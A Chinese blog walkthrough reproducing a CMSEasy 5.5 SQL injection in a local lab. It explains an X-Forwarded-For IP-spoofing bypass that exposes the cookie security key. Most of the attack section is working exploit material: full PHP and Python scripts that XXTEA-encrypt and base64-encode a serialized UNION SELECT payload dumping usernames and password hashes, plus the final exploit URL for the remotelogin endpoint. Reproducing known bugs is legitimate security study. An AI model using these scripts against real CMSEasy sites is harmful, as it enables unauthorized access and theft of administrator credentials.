cmseasy_5.5-SQL注入漏洞复现

目录

一、目的

二、原因

1、为什么可以未授权登录

 2、为什么拿到Cookie安全码后,可以进入数据库获取账号密码

三、过程(节省时间,环境已搭好)

 1、注册过后登录进去找到Cookie安全码所在位置

2、编写注入脚本进行注入

 3、进行破解


一、目的

以未授权方式拿到Cookie安全码,并通过Cookie安全码拿到数据库中的账号和密码

二、原因

注:此网站模板是开源的所以可以看到一些后台代码

1、为什么可以未授权登录

由于后代码问题,如图所示servip=front ip且get=1就会return,即我们需要满足两个条件就可以跳过admin验证:

  • servip=客户端IP
  • get传参=1

 2、为什么拿到Cookie安全码后,可以进入数据库获取账号密码

由下面三幅图可知,Cookie安全码编码,加密,反序列化后就可以用getrow函数去使用数据库了

三、过程(节省时间,环境已搭好)

 1、注册过后登录进去找到Cookie安全码所在位置

127.0.0.1/index.php?case=config&act=system&set=site&admin_dir=admin&site=default

在火狐上下载X-Forwarded-For Header插件 

 

进入后拿去 Cookie安全码

79395616c9962f8f8134348d7cf003ff

2、编写注入脚本进行注入
<?php

$key = '79395616c9962f8f8134348d7cf003ff';

$table = array(
    'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1
);

echo base64_encode(xxtea_encrypt(serialize($table), $key));

function xxtea_encrypt($str, $key) {
    if ($str == "") {
        return "";
    }
    $v = str2long($str, true);
    $k = str2long($key, false);
    if (count($k) < 4) {
        for ($i = count($k); $i < 4; $i++) {
            $k[$i] = 0;
        }
    }
    $n = count($v) - 1;

    $z = $v[$n];
    $y = $v[0];
    $delta = 0x9E3779B9;
    $q = floor(6 + 52 / ($n + 1));
    $sum = 0;
    while (0 < $q--) {
        $sum = int32($sum + $delta);
        $e = $sum >> 2 & 3;
        for ($p = 0; $p < $n; $p++) {
            $y = $v[$p + 1];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $z = $v[$p] = int32($v[$p] + $mx);
        }
        $y = $v[0];
        $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
        $z = $v[$n] = int32($v[$n] + $mx);
    }
    return long2str($v, false);
}

function xxtea_decrypt($str, $key) {
    if ($str == "") {
        return "";
    }
    $v = str2long($str, false);
    $k = str2long($key, false);
    if (count($k) < 4) {
        for ($i = count($k); $i < 4; $i++) {
            $k[$i] = 0;
        }
    }
    $n = count($v) - 1;

    $z = $v[$n];
    $y = $v[0];
    $delta = 0x9E3779B9;
    $q = floor(6 + 52 / ($n + 1));
    $sum = int32($q * $delta);
    while ($sum != 0) {
        $e = $sum >> 2 & 3;
        for ($p = $n; $p > 0; $p--) {
            $z = $v[$p - 1];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $y = $v[$p] = int32($v[$p] - $mx);
        }
        $z = $v[$n];
        $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
        $y = $v[0] = int32($v[0] - $mx);
        $sum = int32($sum - $delta);
    }
    return long2str($v, true);
}

function long2str($v, $w) {
    $len = count($v);
    $n = ($len - 1) << 2;
    if ($w) {
        $m = $v[$len - 1];
        if (($m < $n - 3) || ($m > $n)) return false;
        $n = $m;
    }
    $s = array();
    for ($i = 0; $i < $len; $i++) {
        $s[$i] = pack("V", $v[$i]);
    }
    if ($w) {
        return substr(join('', $s), 0, $n);
    }
    else {
        return join('', $s);
    }
}

function str2long($s, $w) {
    $v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
    $v = array_values($v);
    if ($w) {
        $v[count($v)] = strlen($s);
    }
    return $v;
}

function int32($n) {
    while ($n >= 2147483648) $n -= 4294967296;
    while ($n <= -2147483649) $n += 4294967296;
    return (int)$n;
}
#python脚本
import base64
import struct

class SQLiPayload():
    def __init__(self,key):
        self.php_key = "userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#"
        self.php_value = 1
        self.key = key

    def create_php_serialized_string(self):
        # 序列化
        key_serialized = f"s:{len(self.php_key)}:\"{self.php_key}\""
        value_serialized = f"i:{self.php_value}"
        # 构造 PHP 风格的序列化字符串
        php_serialized = f"a:1:{{{key_serialized};{value_serialized};}}"
        return php_serialized

    def xxtea_encrypt(self,data, key):
        if not data:
            return ""

        v = self.str2long(data, True)
        k = self.str2long(key, False)

        if len(k) < 4:
            k += [0] * (4 - len(k))
        n = len(v) - 1

        z = v[n]
        y = v[0]
        delta = 0x9E3779B9
        q = int(6 + 52 / (n + 1))
        sum = 0
        while q > 0:
            q -= 1
            sum = self.int32(sum + delta)
            e = (sum >> 2) & 3
            for p in range(n):
                y = v[p + 1]
                mx = self.int32(((z >> 5 & 0x07ffffff) ^ (y << 2)) + ((y >> 3 & 0x1fffffff) ^ (z << 4)) ^ self.int32((sum ^ y) + (k[p & 3 ^ e] ^ z)))
                z = v[p] = self.int32(v[p] + mx)
            y = v[0]
            p += 1

            mx = self.int32(((z >> 5 & 0x07ffffff) ^ (y << 2)) + ((y >> 3 & 0x1fffffff) ^ (z << 4)) ^ self.int32((sum ^ y) + (k[p & 3 ^ e] ^ z)))
            z = v[n] = self.int32(v[n] + mx)


        return self.long2str(v, False)

    def int32(self,n):
        while n >= 2147483648:
            n -= 4294967296
        while n <= -2147483649:
            n += 4294967296
        return n

    def long2str(self,v, w):
        # 将有符号整数转换为无符号32位整数
        v_unsigned = [(x & 0xFFFFFFFF) for x in v]
        # 使用struct模块将整数转换为字节串
        s = b''.join(struct.pack("<I", x) for x in v_unsigned)
        return s


    def str2long(self,s, w):
        v = list(struct.unpack("<" + "I" * ((len(s) + 3) // 4), s.ljust(((len(s) + 3) // 4) * 4, b"\0")))
        if w:
            v.append(len(s))
        return v

    def generate_payload(self):
        serialized_table = self.create_php_serialized_string()
        encrypted = self.xxtea_encrypt(serialized_table.encode(), self.key.encode())
        payload = base64.b64encode(encrypted).decode('utf-8')
        return payload

if __name__ == "__main__":
    key = '79395616c9962f8f8134348d7cf003ff'
    sqli= SQLiPayload(key)
    payload = sqli.generate_payload()
    print(payload)
#注:这个是找的一个大佬的

运行后得到先序列号,然后再加密后然后再编码后的一个值

MV8nVdYGLvIlnVDHk8R7TkBSeKz7pAaqv/+5d9giLOLOEgcFTlnVf/l8enSjwPDiXkIn17L8vE31Q0tXo5hsJqfqRjpn0DU+y7uMl0AB1wDVXH/czLVB029YU90oCBl1pNZ+L6zJ0ZWFvF8JLH+kfmP0lneKMLBFKxn8iwypR9xzWP74AbVlshZSkEs8bXb1BQecTIcREHLhLiBE

注:这里的+和/都需要再次编码,不然会被url识别为空格进行截断,无法正常运行

+变为%2b,/变为%2f

MV8nVdYGLvIlnVDHk8R7TkBSeKz7pAaqv%2f%2b5d9giLOLOEgcFTlnVf%2fl8enSjwPDiXkIn17L8vE31Q0tXo5hsJqfqRjpn0DU%2by7uMl0AB1wDVXH%2fczLVB029YU90oCBl1pNZ%2bL6zJ0ZWFvF8JLH%2bkfmP0lneKMLBFKxn8iwypR9xzWP74AbVlshZSkEs8bXb1BQecTIcREHLhLiBE

 3、进行破解

输入

127.0.0.1/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=MV8nVdYGLvIlnVDHk8R7TkBSeKz7pAaqv%2f%2b5d9giLOLOEgcFTlnVf%2fl8enSjwPDiXkIn17L8vE31Q0tXo5hsJqfqRjpn0DU%2by7uMl0AB1wDVXH%2fczLVB029YU90oCBl1pNZ%2bL6zJ0ZWFvF8JLH%2bkfmP0lneKMLBFKxn8iwypR9xzWP74AbVlshZSkEs8bXb1BQecTIcREHLhLiBE

如下图所示,获取成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值